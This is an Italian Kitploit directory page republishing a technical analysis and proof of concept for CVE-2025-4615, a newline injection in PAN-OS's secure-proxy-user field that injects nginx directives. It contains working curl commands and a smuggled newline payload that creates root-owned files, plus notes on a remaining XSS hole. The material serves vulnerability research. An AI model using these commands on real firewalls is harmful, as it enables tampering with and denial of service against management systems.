Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-4615 — cve-2025-4615 PoC e analisi approfondita | Kitploit
Strumenti/GitHubGitHub/sh00bx/cve-2025-4615
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebAudit di ConfigurazionePenetration Testing
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 PoC e analisi approfondita

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-4615 — Analisi Tecnica & Proof of Concept

Vulnerabilità: Neutralizzazione impropria dell'input nell'interfaccia web di gestione PAN-OS
Advisory del fornitore: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MEDIUM) — Integrità HIGH, Disponibilità HIGH
CWE: CWE-83 (Neutralizzazione impropria degli script negli attributi di una pagina web)
CAPEC: CAPEC-165 (Manipolazione di file)
Credito: Visa Inc.
Data dell'analisi: 2026-03-26


1. Sintesi Esecutiva

CVE-2025-4615 è una vulnerabilità di iniezione di nuove righe nel campo di configurazione secure-proxy-user di Palo Alto Networks PAN-OS. Un amministratore autenticato può iniettare caratteri di nuova riga (\n) nel nome utente del proxy tramite l'API XML o l'interfaccia web. Durante il commit, questo valore viene scritto senza sanitizzazione in /etc/nginx/nginx.conf, fuoriuscendo da una riga di commento e iniettando direttive nginx arbitrarie.

Impatto:

  • Creazione/scrittura arbitraria di file come root tramite la direttiva access_log iniettata
  • Denial of Service — le direttive non valide impediscono il reload di nginx, rendendo inutilizzabile l'interfaccia di gestione
  • Corruzione della configurazione in più file di configurazione di sistema

Nota: La correzione del fornitore (rimozione dei caratteri di nuova riga) è incompleta — lo stesso campo rimane vulnerabile a Cross-Site Scripting (XSS) persistente perché non viene applicata alcuna codifica in uscita né una lista consentita di caratteri.


2. Analisi della Causa Radice

2.1 Il Punto di Iniezione

Il campo secure-proxy-user è definito nello schema PAN-OS (schema.xml) come una semplice stringa senza sanitizzazione dell'input:

root@kitploit:~
<element name="secure-proxy-user" optional="yes" type="string"
         help-string="Secure Proxy user name to use"/>

Nota: secure-proxy-server ha un vincolo regex (regex="^([0-9a-zA-Z.:/_-])+$"), ma secure-proxy-user non ne ha nessuno. Esiste un limite di lunghezza di 31 caratteri, ma nessuna restrizione sui caratteri.

2.2 Il Writer di Configurazione Vulnerabile

Durante il commit, PAN-OS rigenera /etc/nginx/nginx.conf a partire da un template (/etc/nginx/nginx.conf.tmpl). Il template contiene:

root@kitploit:~
#pan_proxy_comment %s

Il segnaposto %s viene compilato dalla funzione della libreria libpanmp_mp.so che concatena server proxy, nome utente e password cifrata in un'unica stringa. Nella versione vulnerabile, i caratteri di nuova riga nel nome utente vengono trasmessi senza alcuna modifica.

2.3 La Corruzione Risultante di nginx.conf

Quando secure-proxy-user contiene a\naccess_log /tmp/pwn3;\n#, il nginx.conf generato diventa:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 a        — Commento (innocuo)
access_log /tmp/pwn3;                  — DIRETTIVA INIETTATA (eseguita da nginx!)
# -AQ==password_cifrata==              — Password commentata dal # iniettato

La riga 1 è un commento. La riga 2 è una direttiva nginx valida a livello di blocco http. La riga 3 viene neutralizzata dal carattere # dell'attaccante.

2.4 Perché È Pericoloso

Il processo master di nginx viene eseguito come root. La direttiva access_log fa sì che nginx apra/crei il file di destinazione come root. Ciò consente:

  1. Creazione arbitraria di file in qualsiasi punto del filesystem
  2. Scrittura arbitraria di file (il contenuto del log di accesso HTTP viene aggiunto in coda)
  3. DoS se viene iniettata una direttiva non valida (nginx rifiuta il reload)

3. La Correzione (e i Suoi Limiti)

Nella versione corretta (11.1.13), il writer di configurazione rimuove i caratteri di nuova riga dal nome utente del proxy prima di scriverlo in nginx.conf. Lo stesso valore malevolo produce:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==password_cifrata==

Tutto rimane su una sola riga, al sicuro all'interno del commento #.

Tuttavia, questa correzione è incompleta. Affronta solo l'iniezione di nuove righe. Il campo secure-proxy-user accetta ancora caratteri arbitrari (inclusi ", <, >) senza codifica in uscita, lasciando completamente aperto il vettore XSS persistente. Vedi unit-43-xss.


4. Proof of Concept

Prerequisiti

  • Accesso amministratore autenticato alla gestione PAN-OS (API o interfaccia web)
  • Un secure-proxy-server configurato (necessario affinché il commento del proxy appaia)

Passo 1: Ottenere la Chiave API

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"

Passo 2: Configurare il Server Proxy (se non impostato)

root@kitploit:~
curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"

Passo 3: Iniettare un Nome Utente Proxy Malevolo

root@kitploit:~
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Totale: 26 caratteri (entro il limite di 31)
# Inietta: access_log /tmp/pwn3; — crea /tmp/pwn3 come root

curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'

Passo 4: Eseguire il Commit della Configurazione

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"

Passo 5: Verifica

Dopo il completamento del commit (~30s):

  • /tmp/pwn3 viene creato con proprietario root
  • nginx -t -c /etc/nginx/nginx.conf riporta: syntax is ok
  • nginx viene ricaricato correttamente con la direttiva iniettata

5. Analisi della Propagazione

Il valore non sanitizzato di secure-proxy-user si propaga a molteplici file:

I writer di curlrc (/root/.curlrc) e wgetrc (/root/.wgetrc) rimuovono invece le nuove righe, anche nella versione vulnerabile. Il writer di nginx.conf era l'unico percorso che non sanitizzava.


6. Valutazione RCE

Test approfonditi di 11 vettori d'attacco hanno confermato che l'RCE autonoma a livello di sistema operativo derivante dal solo CVE-2025-4615 non è ottenibile su PAN-OS 11.1.6-h7 con nginx 1.20.1. I tre ostacoli critici:

  1. Escaping di \x0A in nginx — impedisce l'iniezione di nuove righe grezze nei file di log, bloccando l'iniezione in cron nonostante la tolleranza di vixie-cron verso righe di disturbo (confermato in laboratorio: cron esegue le righe valide circondate da dati di disturbo)
  2. Limite di 31 caratteri — impedisce di combinare log_format + access_log per ottenere il controllo del contenuto dei file scritti
  3. Rimozione delle nuove righe in curlrc/wgetrc — elimina il canale secondario di scrittura file

L'«esecuzione di comandi arbitrari» dell'advisory si riferisce molto probabilmente a direttive nginx arbitrarie, non all'esecuzione di comandi a livello di sistema operativo. Ciò è coerente con il CVSS VC:N (nessun impatto sulla riservatezza) e con la natura della correzione.

Se uno qualsiasi dei tre ostacoli fosse assente, l'RCE sarebbe banalmente ottenibile tramite iniezione in cron.


Analisi eseguita in un ambiente di laboratorio isolato con PAN-OS 11.1.6-h7 (vulnerabile) e PAN-OS 11.1.13 (corretto).

Scarica lo strumento
FileImpatto
/etc/nginx/nginx.confCritico — iniezione di direttive nginx
/opt/pancfg/tmp/.tdb_conf.xmlConfig del DB template (iniezione XML)
/opt/pancfg/mgmt/audit/cfg-audit.xml,vCorruzione della traccia di audit
/opt/pancfg/mgmt/replaydb/replay.dbCorruzione del database di replay
Config dei demoni generati via XSL (authd, cord, useridd, ecc.)Valore XML preservato con nuove righe